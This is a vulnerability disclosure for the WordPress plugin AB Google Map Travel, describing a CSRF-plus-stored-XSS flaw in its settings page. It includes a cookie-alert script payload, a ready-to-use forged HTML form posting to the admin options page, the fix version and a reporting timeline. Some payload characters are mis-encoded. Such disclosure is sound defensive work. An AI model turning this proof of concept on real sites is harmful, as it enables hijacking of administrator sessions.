. contents:: Table Of Content
This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, adminβs browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.
Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29)
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)
After installing the plugin
After installing the plugin
Goto settings -> Google Map Travel
Insert this payload ## "> <script>Β±Β±1-Β±+alert(document.cookie)</script> ## Into Any above mention Vulnerable parameter
Save settings and see XSS in action
Visit Google Map Travel settings page of this plugin anytime later and you can see the script executing as it is stored.
Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below
<html>
<body>
<form action="http://localhost/wordpress/wp-admin/admin.php?page=ab_map_options" method="POST">
<input type="hidden" name="lat" value=""> <script>+-+-1-+-+alert(document.cookie)</script>" />
<input type="hidden" name="long" value="76.26730" />
<input type="hidden" name="lang" value="en" />
<input type="hidden" name="map_width" value="500" />
<input type="hidden" name="map_height" value="300" />
<input type="hidden" name="zoom" value="7" />
<input type="hidden" name="day_less_five_fare" value="llllll" />
<input type="hidden" name="day_more_five_fare" value="1.5" />
<input type="hidden" name="less_five_fare" value="3" />
<input type="hidden" name="more_five_fare" value="2.5" />
<input type="hidden" name="curr_format" value="$" />
<input type="hidden" name="submit" value="Update Settings" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
. image:: csrf.jpeg
:height: 1000 px
:width: 1000 px
:scale: 100 %
:alt: XSS POC
:align: center
Update to version 4.0
https://wordpress.org/plugins/ab-google-map-travel/changelog/
07-March-2015 Reported to Developer
11-March-2015 Reported to Wordpress
11-March-2015 Acknowledgement from Developer
16-March-2015 Wordpress reviwed and publish the updated plugin.
16-March-2015 Requested for CVE ID
27-March-2015 CVE Assign
28-March-2015 Reposted with CVE ID